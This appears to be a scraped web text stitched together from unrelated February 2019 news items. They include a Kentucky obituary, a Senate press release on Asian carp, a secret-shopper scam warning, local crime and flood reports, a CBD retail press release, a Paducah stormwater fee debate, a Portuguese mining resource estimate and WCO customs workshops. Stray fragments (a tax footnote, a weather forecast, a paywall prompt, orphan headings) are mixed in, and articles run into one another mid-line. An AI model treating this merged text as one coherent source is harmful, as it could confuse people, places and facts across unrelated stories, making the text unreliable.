3 For Canada the tax rate is 0% since the Corporation does not recognize the deferred tax asset.France, Dorothy

Miss Dorothy Faye France, 84, formerly of Mayfield Ky went to be with her Lord and Savior on February 12 surrounded by family. Faye was preceded in death by her parents, Marvin and Effie Lee Coplen France; her devoted sister and brother-in-law, Betty Jo and Sonny Mullins; and infant brother, Marvin France, Jr. She is survived by her niece and caregiver, Deborah McAteer (Joseph); great-nephew Bill Cates (Misty), great-niece Betsy Smith (Robert); great- great nephews and nieces: Tristan, Lauren, Elise, Kendall, Morgan, Lindsay, and Ben and a host of special friends and neighbors. Faye graduated from Wingo High School and was employed many years at the Merit Clothing Company until its closure . Faye then was employed by and retired from the J.U.Kevil Corner. Faye practiced her Christian faith fervently throughout her many years. Her generosity has impacted the lives of many people. In 1981,Faye selflessly donated a kidney to her sister, Betty Jo, giving her the Gift of Life. The sisters went on to share their time as ambassadors for the National Kidney Foundations organ donation program. Faye was an avid dog lover. Shadow, Pewee, and Tinkerbell were all treated as royal residents of Fayes Willow Street home. Fayes wry wit and sense of humor as well as her Unbridled Spirit kept her close to the hearts of her many friends and neighbors. Funeral services for Faye France will be held on Friday, February 15, 2019 at 1:00 p.m. with Rev. Steve Melvin officiating. Visitation will be from 11:00 a.m. until the funeral hour. Brown Funeral Home of Mayfield, KY is in charge of the arrangements. In lieu of flowers, donations can be made to: Mayfield-Graves County Animal Shelter, 500 N. 12th Street, Mayfield, Ky 42066 or the First Church of the Nazarene Walk Through Bethlehem, 1200 W. Broadway, Mayfield, Ky 42066.Act to Help Reduce Asian Carp Passes Senate

By US Senator Mitch McConnell's Staff





Fishing is a multi-billion dollar industry in Kentucky, pumping an estimated $1.2 billion into the Western Kentucky economy alone. Kentucky Lake and Lake Barkley are popular fishing areas that are being threatened by the existence and the spread of Asian Carp, and we must protect them. Not only are these invasive fish a danger for the local economy, but they are also a safety hazard for anglers and boaters, said Senator McConnell. There are a number of important priorities that come before the Senate, but as Senate Majority Leader, I am able to bring a national focus right here to Western Kentucky to protect our vital interests. I also want to highlight the leadership of Lyon County Judge/Executive Wade White and Marshall County Judge/Executive Kevin Neal. Together we are continuing to work to protect Kentuckys waters.





Senator McConnell has done it again by working to pass a commonsense approach to combat Asian Carp, said Judge Wade White, Lyon County Judge Executive. This legislation will require federal agencies to clearly lay out how they plan to reduce Asian Carp and to collaborate with other stakeholders in Western Kentucky. This bill also directs resources where they are needed most: to remove Asian Carp! Thank you Senator McConnell for your leadership on this legislation. I truly believe we will win this War On Carp!





Residents in Marshall County are thankful to see this legislation pass the Senate, especially the provision that directs federal agencies to focus their efforts to fight Asian Carp in Lake Barkley and Kentucky Lakes, said Judge Kevin Neal, Marshall County Judge Executive. Our community has been greatly impacted by the War on Carp for years and this is the type of legislation that will help continue our efforts. We are encouraged by Sen. McConnells leadership on this serious issue.





The Natural Resources Management Act will now go over to the House of Representatives for consideration.



WASHINGTON, DC - U.S. Senate Majority Leader Mitch McConnell (R-KY) announced today the U.S. Senate has approved the Natural Resources Management Act, which includes a provision calling for federal agencies to develop plans to reduce or eliminate invasive species populations, like Asian Carp. The measure supported by Senator McConnell also requires agencies to develop cost effective measures to combat the invasive species and ensures funding is directed to on-the-ground activities in impacted communities, like those surrounding Lake Barkley and Kentucky Lake.Sheriff: Beware of 'Secret Shopper' Scam

By West Kentucky Star Staff

CARLISLE COUNTY - Carlisle County authorities are warning the public to be on the lookout for a scam that involves a bogus "secret shopper" program.Carlisle County Sheriff William Gilbert says a woman contacted his office Tuesday about a letter she had received in the mail that included a postal money order for $998.00 and instructions to purchase two Walmart Gift Cards for $400.00 each. The letter instructed the woman to then scratch off the hidden numbers on the cards and send photos of them along with the PIN and an evaluation of the store shopping experience.Gilbert cautioned residents that this is a definite scam."I verified with Wal-Mart that they do not obtain secret shoppers in this manner and that this is a scam," He said. "In addition, the post master advised that the Money Order is also a fake. If you read the letter you will notice several grammatical errors. This would be an additional clue that letters like these are scams."Anyone that contacts you and asks you to purchase gift cards, game cards, store cards, etc. and send them photos or the numbers from the cards are not legitimate. Please be cautious of anyone sending you money that requires you to send money back to them."Grand Jury Indicts Williams on Murder Charge

By West Kentucky Star Staff

BENTON, KY - A Marshall County man has been indicted on a murder charge.

A Marshall County grand jury on Tuesday indicted 53-year-old Jonathan Danny Williams with murder in the Dec. 1, 2018 death of 54-year-old Billy Lee, Jr. Benton Police were called to Lee's Birch Street home on Dec 1, after he was found dead in his living room by two friends. Police asked for help finding Williams for questioning on December 3, and he turned himself in ten days later.

During a preliminary hearing last month, Commonwealth Attorney Dennis Foust confirmed that a Benton police officer testified, saying he heard Williams tell him he didn't mean to kill Lee. Testimony also revealed that Williams told the officer Lee had been selling methamphetamine to his daughter.



Autopsy results from December determined Lee died of multiple blunt force trauma.



Williams is scheduled to be arraigned on March 26 at 1 pm.



Both Ferries Now Shut Down By Flooding

By West Kentucky Star Staff

CRITTENDEN COUNTY - The Cave-In-Rock Ferry halted operations at 6 p.m. Tuesday due to rising floodwaters on the Ohio River.The Kentucky Transportation Cabinet said the ferry will likely be closed at least through Feb. 24, possibly longer if there is additional substantial rainfall across the Ohio River Valley.Over the weekend the Dorena-Hickman Ferry closed because of rising waters on the Mississippi River. It will also stay closed indefinitely until the water level recedes at the landing.Major General Brian E. Winski will be the new commanding General of the 101st Airborne Division at Fort Campbell. PHOTO:Department of Defense, courtesy of WKDZ

101st Airborne Division to Welcome New Commander

By The Associated Press

FORT CAMPBELL - The 101st Airborne Division at Fort Campbell is welcoming a new commanding general.

The Army says in a statement that Maj. Gen. Andrew Poppas will relinquish command of the air assault division to Maj. Gen. Brian Winski in a Feb. 14 ceremony at the post.

Under Poppas' leadership, the 101st Airborne Division deployed soldiers around the world for combat, contingency and peacekeeping missions.

Winski served in the 101st Airborne Division for more than 12 years including as a division operations officer. His most recent assignment was in the Army Secretary's office as chief legislative liaison.Arrest Made in Threat Against Pope County Student

By West Kentucky Star Staff

GOLCONDA - Police have arrested a suspect in a recent investigation into a threat made to a student at a Pope County school.Illinois State Police said they were contacted Tuesday by the school district about a vague anonymous threat sent to a student over the internet. Investigators said Wednesday morning they have identified and arrested a suspect in the case. Authorities did not identify the suspect, or the name of the school or the individual at whom the threat was directed.Police assured parents and guardians that all necessary steps are being taken to ensure student safety, with troopers being posted Wednesday at the school throughout the day.DORADO, Puerto Rico, Feb. 13, 2019 (GLOBE NEWSWIRE) -- GSRX Industries Inc. (OTCQB: GSRX) (GSRX or, the Company) announced today that the Companys first brick-and-mortar Pure and Natural retail kiosk is open for business. Get Pure and Natural retail kiosks are the brick-and-mortar extensions of the Companys eCommerce platform GetPureAndNatural.com , and feature the Companys own brand of pure, full-spectrum Hemp-based non-THC CBD products that are naturally certified organic. Each Pure and Natural location will carry a broad range of pharmaceutical grade CBD products, including health, wellness, skin care and pet products.



We are pleased with early sales at our first Pure and Natural kiosk, especially as we are already identifying and securing additional locations, said Les Ball, GSRX CEO.

The first Pure and Natural retail store is located at Governors Square Mall, just north of Nashville in Clarksville, TN. The 1.1 million square foot Governors Square Mall is home to more than 100 retailers, including Dillards, Belk, JC Penney, Dicks Sporting Goods and AMC Theatres. The Pure and Natural kiosk is situated inside the mall, directly in front of Victorias Secret. Located nearby, the Fort Campbell military complex, with 36,000+ personnel, is the largest employer in both Tennessee and Kentucky. Clarksville/Montgomery County is among the fastest-growing Metropolitan Statistical Areas in the country, with population up 35% over the past ten years.

A wide range of Pure and Natural CBD products are available at each location, including CBD Softgels , which are also available with Melatonin for sleep, and an anti-inflammatory Curcumin formula; CBD Energy Drink Packets ; CBD Oil Tinctures ; CBD Salve ; CBD Vape Pens and CBD Pet Products .

In launching the first of its Pure and Natural retail locations, GSRX further expands the Companys presence in the fast-growing hemp industry which, according to Hemp Business Journal, logged sales of $190 million in hemp-derived CBD products during 2017. The publication projects hemp-derived CBD consumer sales of $646 million annually by 2022. ( Hemp Business Journal )

About Pure and Natural

All Pure and Natural CBD products are held to GSRXs high growing and manufacturing standards, and are brought to market following a seven-step process, beginning with organic farming in Colorado, through proprietary extraction and solids separation, distillation and refining, then rigorous in-house laboratory testing and certification in order to deliver what we consider to be the purest and most natural CBD products on the market today. Manufactured in an FDA-certified GMP facility, Pure and Natural CBD products contain only full spectrum oils, extracted using either supercritical CO2 or food grade ethanol, and are made using proprietary nanoemulsion technology, which gives Pure and Natural CBD products a higher bioavailability than that of standard products.

About GSRX Industries Inc.

GSRX Industries Inc. (OTCQB: GSRX), through its subsidiaries, is in the business of acquiring, developing and operating retail cannabis dispensaries, and is in the process of expanding its business to include the cultivation, extraction, manufacture and delivery of cannabis and cannabinoid products. Currently, GSRX operates five cannabis dispensaries in Puerto Rico under the name Green Spirit RX, one dispensary in California under the name The Green Room, and has five additional pre-qualified locations in Puerto Rico, all of which are in various phases of development and construction. GSRX also owns and operates the e-commerce site GetPureAndNatural.com, which offers a broad range of pharmaceutical grade CBD products.

Websites:

Green Spirit RX https://www.greenspiritrx.com/

Spirulinex https://www.spirulinex.com

Get Pure and Natural GetPureAndNatural.com



Instagram:

Spirulinex https://www.instagram.com/spirulinex/

The Green Room https://www.instagram.com/greenroommendo/Two Arrested in Undercover Drug Investigation

By West Kentucky Star Staff

PADUCAH - A Paducah pair were arrested Tuesday afternoon after police say one of them agreed to sell drugs to an undercover officer.The Paducah Police Department says a detective arranged to buy 14 grams of methamphetamine for $410 from 39-year-old William Coles in the 2500 block of Bridge Street. Detectives said they found a small amount of meth and a handgun in the floorboard of a vehicle where the woman with Coles, 37-year-old Mindy Rodgers, was sitting. A detective also found 14 grams of meth in Rodgers' bra during a search. Coles reportedly told officers during questioning the pair had originally planned to rob the undercover detective.Both suspects were booked into the McCracken County Jail on a charge of first-degree trafficking in a controlled substance. Coles was also charged with driving without a license.Strand Proposes Monthy Stormwater Fee of $6.14

By Bill Hughes





PADUCAH - Tuesday night's Paducah City Commission meeting included a lengthy discussion of Stormwater Master Plan and the proposed fee that would fund maintenance and improvements to drainage infrastructure.Principal-In-Charge/Senior Planning Advisor John Lyons with Strand Associates told commissioners the revenue generated from the proposed fee would fund capital improvement drainage projects, operations and maintenance of the existing infrastructure, the citys flood protection system (floodwall), regulatory compliance requirements, infrastructure repair and replacement, and the administration of the program through staffing and equipment.Lyons said most stormwater utilities use Equivalent Residential Units as a funding mechanism, with each unit based on the total of impervious surfaces - like rooftops, driveways or patios - on a parcel of land. Strand sampled 50 residential parcels to determine an average of 3,500 square feet as one ERU. Lyons proposed each resident land owner pay a flat monthly ERU of $6.13, which would generate $2.7 million per year.For non-residential parcels of land, Lyons said their fee would based on their property's total impervious area divided by 3,500 then multiplied by the proposed monthly rate. The city could look into developing a credit policy for non-residential property owners that exceeded local stormwater detention and water quality requirements.As for how much is allocated to maintenance, repairs, or improvements each year, Lyons said that can be rather flexible based on immediate needs, the condition of the system during inspections, or urgency of improvements. He also added that his ERU rate is just a proposal."The key is, you've gotta balance the expenditure on this system with what's tenable to the community, and finding that right balance is what we're trying to do," Lyons said.Strand will be providing the city with the calculated impervious area for each non-residential parcel in Paducah. Once that information is received, the city will share how individual businesses or non-residential entities can get that data and calculate their potential fees.Commissioners discussed different scenarios with varying ERU values to see the impact on generated revenue for the new utility.Paducahs proposed Stormwater Impact Fee includes covering the costs associated with the floodwall, which currently are funded through the Citys General Fund. For comparison, Lyons calculated a residential ERU rate if floodwall costs remained in the General Fund, and it dropped to $4.44."That's really putting you right in line with most communities in the state and certainly, a little bit below the national average," Lyons said.Commissioners Sandra Wilson and Richard Abraham indicated they plan to review comments and concerns from citizens at previous stormwater meetings, such as one from July 2015.Commissioner Gerald Watkins asked for a calculation of the monthly fee for Paducah Public Schools, and City Manager Jim Arndt suggested Strand randomly choose eight city businesses of varying sizes and calculate their fees for commissioners to see sample financial impacts. Strand agreed to provide those figures.There are approximately 1,500 stormwater utilities in the United States with about a dozen of them in Kentucky. In the Commonwealth, the fees for residential parcels range from $1.50 per month in Murray to $9.90 per month in Louisville. The national average is $5.34 per month.In the live stream of the meeting, Mayor Brandi Harless and other commissioners stressed that the discussion is far from over about ERUs and this phase of the plan. They encouraged property owners to contact them with ideas or feedback.Here is video of the meeting. The Storm Water Master plan is the first item discussed.Halls Sophie Garner-MacKinnon has been named the 2020-21 Gatorade Connecticut Softball Player of the Year, according to a release from Gatorade. Garner-MacKinnon is the first Gatorade Connecticut Softball Player of the Year to be chosen from Hall High School.Fort Polk, LA (71446)

Today

Variable clouds with scattered showers and thunderstorms, mainly during the afternoon hours. High around 90F. Winds S at 5 to 10 mph. Chance of rain 50%..

Tonight

Some clouds. Low near 75F. Winds light and variable.

Thank you for Reading! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading.The World Customs Organization (WCO) and Bahamas Customs and Excise Department (BCED) signed a multi-year agreement in December 2017. It started the implementation of a comprehensive organizational development and training programme. This joint project forms part of The Bahamas Trade Sector Support Programme, financed by the Inter-American Development Bank. The Bahamas government continues to discuss accession to the WTO, and BCED has a crucial role in preparing The Bahamas to do so.

As part of BCEDs ongoing contribution to The Bahamas border management, a WCO-led strategic planning workshop was conducted from the 4th to 8th of February 2019. A cross-section of officials hand-picked by the BCED Comptroller designed a new five year Strategic Plan (2019-2024). Based on the BCED government mandate and corresponding resources, the group revisited the mission, drafted a new vision and re-framed the organizations strategic direction. The prioritized objectives and activities will contribute to trade facilitation, community protection and border security, as well as ensure staff and stakeholders can both contribute and benefit from reforms and modernization.

The WCO looks forward to the continued engagement with BCD and the IDB as part of the Trade Sector Support Program. For more information about this activity, please contact: capacity.building@wcoomd.org.Project more than doubled its previous mineral resources with modest drill program



TORONTO, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Ascendant Resources Inc. (TSX: ASND) (OTCQX: ASDRF; FRA: 2D9) ("Ascendant" or the "Company) is very pleased to announce the results of an updated National Instrument 43-101 Mineral Resource Estimate at the Lagoa Salgada polymetallic Volcanogenic Massive Sulphide (VMS) Project located on the Iberian Pyrite Belt (IPB) in Portugal.

The new Mineral Resource Estimate demonstrates material growth in both the North Zone (Main Massive Sulphide) and the South Zone (Stockwork) deposits following a modest 7,077 metre drill program consisting of 20 drill holes. Both zones sit on an estimated geological strike length of 1.6km and have now been delineated by less than a total of 50 holes.

Highlights are as follows:

North Zone: Measured Mineral Resources of 1.8 Mt at 11.02% ZnEq 1

North Zone: Total Measured & Indicated Mineral Resource of 6.0 Mt at 9.4% ZnEq and Inferred Mineral Resource of 7.8 Mt at 7.4% ZnEq

South Zone: Indicated Resource of 1.8 Mt @ 5% ZnEq & Inferred Resource of 3.9Mt @ 4.5% 1 ZnEq with limited drilling (8 holes)

Infill drilling results continue to strengthen confidence in ore grade profile

Potential for further growth along continuous 1.6-km-long induced polarization (IP) anomaly suggesting the deposits remain open along strike and at depth (Figure 1 below)

A summary of the Mineral Resource Estimate is set out in Table 1 below:

Lagoa Salgada Total Mineral Resource Estimate

Average Grade Category Mineralized

Tonnes ZnEq Cu Zn Pb Sn Ag Au Zones kt % % % % % g/t g/t Measured All 1,761 11.02 0.38 3.09 3.19 0.15 62.41 0.84 Indicated All 6,082 7.61 0.50 2.09 1.84 0.09 48.61 0.40 M + I All 7,843 8.38 0.47 2.31 2.15 0.10 51.71 0.50 Inferred All 12,823 6.37 0.36 1.68 1.63 0.04 38.62 0.61

North Deposit Mineral Resource Estimate

Average Grade Category Mineralized Tonnes ZnEq Cu Zn Pb Sn Ag Au Zones kt % % % % % g/t g/t Measured GO 177 11.65 0.15 0.65 4.12 0.40 54.14 1.55 MS 1,584 10.95 0.40 3.36 3.09 0.12 63.33 0.76 Total 1,761 11.02 0.38 3.09 3.19 0.15 62.41 0.84 Indicated GO 451 7.86 0.13 0.52 3.07 0.30 35.10 0.67 MS 3,842 8.81 0.51 2.37 2.12 0.10 61.51 0.52 Total 4,293 8.71 0.47 2.18 2.22 0.12 58.73 0.54 M + I GO 628 8.93 0.14 0.56 3.37 0.33 40.47 0.92 MS 5,426 9.43 0.48 2.66 2.40 0.11 62.04 0.59 Total 6,054 9.38 0.44 2.44 2.50 0.13 59.80 0.63 Inferred GO 1,546 7.03 0.10 0.43 3.69 0.14 32.44 0.67 MS 5,911 7.78 0.36 2.31 1.96 0.05 57.08 0.58 SW 390 3.68 0.39 1.42 0.42 0.03 19.14 0.09 Total 7,847 7.43 0.31 1.90 2.22 0.07 50.34 0.58

Central Deposit Mineral Resource Estimate

Average Grade Category Mineralized Tonnes ZnEq Cu Zn Pb Sn Ag Au Zone kt % % % % % g/t g/t Inferred Total 1,078 5.41 0.11 0.17 0.06 0.00 12.15 2.89

South Deposit Mineral Resource Estimate

Average Grade Category Mineralized Tonnes ZnEq Cu Zn Pb Sn Ag Au Zones kt % % % % % g/t g/t Indicated SW2 1,789 4.99 0.58 1.88 0.95 0.00 24.33 0.07 Inferred SW2 3,899 4.50 0.52 1.65 0.89 0.00 22.36 0.06

Notes to all tables and highlight point:

Mineralized Zones, GO=Gossan, MS=Massive Sulphide, SW=Stringer, SW2=Stockwork

Cut-off: Zn-Eq  3.00%

Zn-Eq = [Zn%]+([Cu%]*2.652)+([Pb%]*0.913)+([Au g/t]*1.585)+([Ag g/t]*0.025)+([Sn%]*7.565)

Densities: GO = 3.11, MS = 4.85, SW = 2.91, SW2 = 2.91

Chris Buncic, President & CEO of Ascendant stated, We are exceptionally pleased to deliver on our goal of significantly expanding and upgrading the Mineral Resource Estimate at Lagoa Salgada. The material increases in scale of the resources represent a significant milestone for Lagoa Salgada and validates our initial investment thesis that a modest drilling budget could provide outsize value and show the world class potential for Lagoa Salgada. Our 2018 exploration program was exceptionally well executed and significantly exceeded expectations by nearly doubling the tonnes in both deposits while concurrently improving the grade profile of the deposits.

He continued, The success of our exploration work in 2018 demonstrates the overall growth potential and scalability of the Project, which the Company plans to expand with further exploration work this year. Given the deposits are located near surface with significant targets identified from the IP and gravimetric survey data, we are excited about future drilling and overall long-term development potential of the Project.

Figure 1: Lagoa Salgada Orebodies with Geophysics: http://www.globenewswire.com/NewsRoom/AttachmentNg/1c65cebb-34df-4503-8791-da62c3a8c14d

The North Zone, previously referred to as the Main Massive Sulphide Zone, saw a substantial transition as the deposit now includes a Measured Resource of 1.8 million tonnes at a grade of 11.02% ZnEq, as well as Indicated Resources of 4.3 million tonnes at an average grade of 8.7% ZnEq. The largest increase was to the Inferred Resources of 7.8 million tonnes with an average grade of 7.4% ZnEq.

The Mineral Resource Estimate update incorporates all historic drilling and results of re-assaying of some historic drilling, the exceptional high-grade drill results from the 2018 exploration program announced in the Companys January 14, 2019 press release as well as the 4 remaining holes that complete the 20-hole program at Lagoa (see Figure 2). Metallurgical testing is underway, and the Company expects results during the first quarter of 2019.

Figure 2: Plan View of the 2018 Planned Drill Holes: http://www.globenewswire.com/NewsRoom/AttachmentNg/73818841-2c43-49a5-ac82-29fbc3378e58

Mineral Resource Estimate

The Mineral Resource Estimate was prepared by MICON INTERNATIONAL LIMITED (Micon). The effective date of this Mineral Resource Estimate is February 8, 2019, and it is based on 3 contiguous areas (North, Central and South zones) of VMS style mineralization defined by 50 diamond drill holes up to December 31, 2018. Leapfrog Geo 4.4.2 software was used to construct three dimensional (3D) solid models of sulphide mineralization reflecting a minimum grade of 3% ZnEq and to assign block grades for copper (%), zinc (%), lead (%), tin (%), silver (g/t), gold (g/t) and density (g/cm3) for Measured, Indicated and Inferred Mineral Resources using ordinary kriging interpolation methodology and capped 2-m hole assay composites. Up to four interpolation passes were applied using progressively increasing ellipsoid ranges to cover the range of 3D solid model sizes present. Block size is 5 m across strike (x) by 10 m along strike (y) by 5 m vertically (z). Mineral Resource categorization was applied using geometric criteria, i.e. spacing between drill holes/assay composites.

The new Technical Report to disclose the Mineral Resource Estimate is being prepared in accordance with National Instrument 43-101 (NI 43-101) and the CIM Standards for mineral disclosure by Micon. This Technical Report will be filed on SEDAR ( www.sedar.com ) within 45 days of this press release.

Quality Assurance and Quality Control

Analytical work was carried out by ALS Laboratories. Drill core samples were prepared in ALS Lab, in Seville, Spain. Pulp samples were then sent to their analytical Laboratory in Ireland for analysis. The core samples are analyzed for gold (ppm) by fire assay (AuAA25), and for the other elements by multi element analysis of base metal ores and mill products by optical emission spectrometry using the Varian Vista inductively coupled plasma spectrometer (ME-ICPORE). Samples from the Main Resource, LS_MS_DH ID, are also assayed for Tin (Sn) by ICP-AES after Sodium Peroxide Fusion (Sn-ICP81x).

ALS Laboratories has routine quality control procedures which ensure that every batch of samples includes three sample repeats, two commercial standards and blanks. ALS Laboratories is independent from Ascendant. Ascendant used standard QA/QC procedures when inserting reference standards and blanks for the drilling program.

Qualified Persons

The Mineral Resource Estimate contents of this press release have been reviewed and approved by Charlie Murahwi, M.Sc., P.Geo., Pr. Sci. Nat., FAusIMM, Senior Geologist, Micon International Limited.

Review of Technical Information

The scientific and technical information in this press release has been reviewed and approved by Robert Campbell, P.Geo., Vice President, Exploration for Ascendant Resources Ltd, whom is a Qualified Persons as defined in National Instrument 43-101.

About Ascendant Resources Inc.

Ascendant is a Toronto-based mining company focused on its 100%-owned producing El Mochito zinc, lead and silver mine in west-central Honduras and its high-grade polymetallic Lagoa Salgada VMS Project located in the prolific Iberian Pyrite Belt in Portugal.

After acquiring the El Mochito mine in December 2016, Ascendant spent two years implementing a rigorous and successful optimization program restoring the historic potential of El Mochito, a mine in production since 1948, to deliver record levels of production with profitability restored. The Company now remains focused on cost reduction and further operational improvements to drive robust profitability in 2019 and beyond. With a significant land package of approximately 11,000 hectares in Honduras and an abundance of historical data, there are several near-mine and regional targets providing longer term exploration upside which could lead to further Mineral Resource growth.

Ascendant holds an interest in the high-grade polymetallic Lagoa Salgada VMS Project located in the prolific Iberian Pyrite Belt in Portugal. The Company is engaged in exploration of the Project with the goal of expanding the already-substantial defined Mineral Resources and testing additional known targets. The Companys acquisition of its interest in the Lagoa Salgada Project offers a low-cost entry point to a potentially significant exploration and development opportunity. The Company holds an additional option to increase its interest in the Project upon completion of certain milestones.

Ascendant Resources is engaged in the ongoing evaluation of producing and development stage mineral resource opportunities, on an ongoing basis. The Company's common shares are principally listed on the Toronto Stock Exchange under the symbol "ASND". For more information on Ascendant Resources, please visit our website at www.ascendantresources.com.

Neither the Toronto Stock Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX) accepts responsibility for the adequacy or accuracy of this release.



For further information please contact:

Katherine Pryde

Director, Communications & Investor Relations

Tel: 888-723-7413

info@ascendantresources.com

Cautionary Notes to US Investors

The information concerning the Companys mineral properties has been prepared in accordance with National Instrument 43-101 (NI-43-101) adopted by the Canadian Securities Administrators. In accordance with NI-43-101, the terms mineral reserves, proven mineral reserve, probable mineral reserve, mineral resource, measured mineral resource, indicated mineral resource and inferred mineral resource are defined in the Canadian Institute of Mining, Metallurgy and Petroleum (the CIM) Definition Standards for Mineral Resources and Mineral Reserves adopted by the CIM Council on May 10, 2014. While the terms mineral resource, measured mineral resource, indicated mineral resource and inferred mineral resource are recognized and required by NI 43-101, the U.S. Securities Exchange Commission (SEC) does not recognize them. The reader is cautioned that, except for that portion of mineral resources classified as mineral reserves, mineral resources do not have demonstrated economic value. Inferred mineral resources have a high degree of uncertainty as to their existence and as to whether they can be economically or legally mined. It cannot be assumed that all or any part of any inferred mineral resource will ever be upgraded to a higher category. Therefore, the reader is cautioned not to assume that all or any part of an inferred mineral resource exists, that it can be economically or legally mined, or that it will ever be upgraded to a higher category. Likewise, you are cautioned not to assume that all or any part of a measured or indicated mineral resource will ever be upgraded into mineral reserves.

Readers should be aware that the Companys financial statements (and information derived therefrom) have been prepared in accordance with International Financial Reporting Standards (IFRS) as issued by the International Accounting Standards Board and are subject to Canadian auditing and auditor independence standards. IFRS differs in some respects from United States generally accepted accounting principles and thus the Companys financial statements (and information derived therefrom) may not be comparable to those of United States companies.

Forward Looking Information



This news release contains "forward-looking statements" and "forward-looking information" (collectively, "forward-looking information") within the meaning of applicable Canadian securities legislation. All information contained in this news release, other than statements of current and historical fact, is forward-looking information. Often, but not always, forward-looking information can be identified by the use of words such as "plans", "expects", "budget", "guidance", "scheduled", "estimates", "forecasts", "strategy", "target", "intends", "objective", "goal", "understands", "anticipates" and "believes" (and variations of these or similar words) and statements that certain actions, events or results "may", "could", "would", "should", "might" "occur" or "be achieved" or "will be taken" (and variations of these or similar expressions). Forward-looking information is also identifiable in statements of currently occurring matters which may continue in the future, such as "providing the Company with", "is currently", "allows/allowing for", "will advance" or "continues to" or other statements that may be stated in the present tense with future implications. All of the forward-looking information in this news release is qualified by this cautionary note.

Forward-looking information in this news release includes, but is not limited to, statements regarding the exploration activities and the results of such activities at the Lagoa Salgada Project and the potential to expand mineralization and increase mineral resources. Forward-looking information is based on, among other things, opinions, assumptions, estimates and analyses that, while considered reasonable by Ascendant at the date the forward-looking information is provided, inherently are subject to significant risks, uncertainties, contingencies and other factors that may cause actual results and events to be materially different from those expressed or implied by the forward-looking information. The material factors or assumptions that Ascendant identified and were applied by Ascendant in drawing conclusions or making forecasts or projections set out in the forward-looking information include, but are not limited to, the success of the exploration activities at Lagoa Salgada Project, the ability of the exploration results to expand mineralization and increase mineral resources, and other events that may affect Ascendant's ability to develop its project; and no significant and continuing adverse changes in general economic conditions or conditions in the financial markets.

The risks, uncertainties, contingencies and other factors that may cause actual results to differ materially from those expressed or implied by the forward-looking information may include, but are not limited to, risks generally associated with the mining industry, such as economic factors (including future commodity prices, currency fluctuations, energy prices and general cost escalation), uncertainties related to the development and operation of Ascendant's projects, dependence on key personnel and employee and union relations, risks related to political or social unrest or change, rights and title claims, operational risks and hazards, including unanticipated environmental, industrial and geological events and developments and the inability to insure against all risks, failure of plant, equipment, processes, transportation and other infrastructure to operate as anticipated, compliance with government and environmental regulations, including permitting requirements and anti-bribery legislation, volatile financial markets that may affect Ascendant's ability to obtain additional financing on acceptable terms, the failure to obtain required approvals or clearances from government authorities on a timely basis, uncertainties related to the geology, continuity, grade and estimates of mineral reserves and resources, and the potential for variations in grade and recovery rates, uncertain costs of reclamation activities, tax refunds, hedging transactions, uncertainty related to the results of the Companys exploration activities at the Lagoa Salgada Project, as well as the risks discussed in Ascendant's most recent Annual Information Form on file with the Canadian provincial securities regulatory authorities and available at www.sedar.com .

Should one or more risk, uncertainty, contingency, or other factor materialize, or should any factor or assumption prove incorrect, actual results could vary materially from those expressed or implied in the forward-looking information. Accordingly, the reader should not place undue reliance on forward-looking information. Ascendant does not assume any obligation to update or revise any forward-looking information after the date of this news release or to explain any material difference between subsequent actual events and any forward-looking information, except as required by applicable law.JaysonPhotography/iStock(COLONIAL HEIGHTS, Tenn.) -- A man who allegedly shot and killed his wife at a dentists office was stopped when he was shot by a bystander.



The suspect, who has not been identified, reportedly entered Dr. David Guy Dentistry in Colonial Heights, Tennessee, on Wednesday morning.



Sullivan County Sheriff Jeff Cassidy described the shooting as a workplace violence and domestic violence situation.



Cassidy did not know what prompted the violence, but did confirm that the suspect and victim were husband and wife. The name of the victim has not been released.



A man with a concealed gun who was at the dentists office then shot the suspect, according to authorities, and controlled him until police arrived on the scene.



The suspect is now hospitalized with gunshot wounds, Cassidy said.



The name of the bystander, who Cassidy called a "hero," has not been released.

Copyright  2019, ABC Radio. All rights reserved.At the request of the Indirect Taxation Authority (ITA) of Bosnia and Herzegovina (BiH), the WCO, with the support from Customs Cooperation Fund (CCF) Eurocustoms, organized a National Workshop on AEO implementation - criteria, requirements, validation process, and action plan. The WCO experts supported by experts from the European Commission and Italian Customs conducted this technical assistance mission from 6 to 8 February 2019 in Banja Luka, Bosnia and Herzegovina. The Workshop was attended by 32 participants from the ITA and the BiH Trade Chamber.

The ITA has already developed legislative and regulatory provisions regarding their AEO programme. The AEO programme is likely to be implemented as of 1 August this year. Hence, this workshop was very timely to assist with carrying out a gap analysis and preparing for a pilot by providing all the necessary information including relevant WCO instruments, tools and supporting materials, as well as recommendations to both Customs officials and stakeholders on the key issues concerning the implementation of an AEO programme in line with the WCO SAFE AEO Programme and the EUs AEO Programme.

The experts presented various WCO instruments and tools relating to the SAFE Framework of Standards and AEO programme and guided participants in developing and implementing an AEO Programme in line with stakeholders needs and expectations, including by identifying tangible benefits for each class of economic operators. Additionally, the experts outlined the AEO criteria/requirements and benefits and provided step by step recommendations regarding the AEO validation/authorization process, supported by case studies and good practices.

The workshop provided an opportunity for all participants to understand practical aspects of the AEO programme and Mutual Recognition Arrangements/Agreements (MRAs). It also discussed the key challenges of Customs and the private sector in implementing an AEO programme, explaining the importance of the AEO programme in enhancing global supply chain security and facilitation, including how AEOs can improve compliance and revenue collection. Also, a presentation on the Systematic Electronic Exchange of Data (SEED) project was made, emphasising its importance to AEO programmes, particularly with regard to AEO data exchange within the region.

Furthermore, facilitated by experts, participants carried out a gap analysis and identified a few issues for further examination, going forward. This led to an enhanced professional knowledge regarding the compliance of ITAs regulations relating to the AEO programme with the EU legislation. Participants also developed a better understanding of the SAFE Framework, AEO programme and MRAs, as well as gained deeper insights into the global supply chain and the roles and responsibilities of various actors.

Finally, the importance of the development of a Strategic Action Plan/Work Programme was noted as one of the main imperatives for the successful implementation of the AEO programme.

The experts and participants had an active dialogue on different aspects of the AEO programmes and MRAs, including phased implementation and stakeholders engagements. The workshop resulted in a better understanding of practical experiences and best practices and also in terms of using the relevant WCO tools.

The WCO is committed to provide all necessary support to the ITA in the process of the development and implementation of the SAFE AEO Programme.English French

 Reassessment of Cost to Complete

 Construction on Time at the Mine Site and the Electrochemical Plant

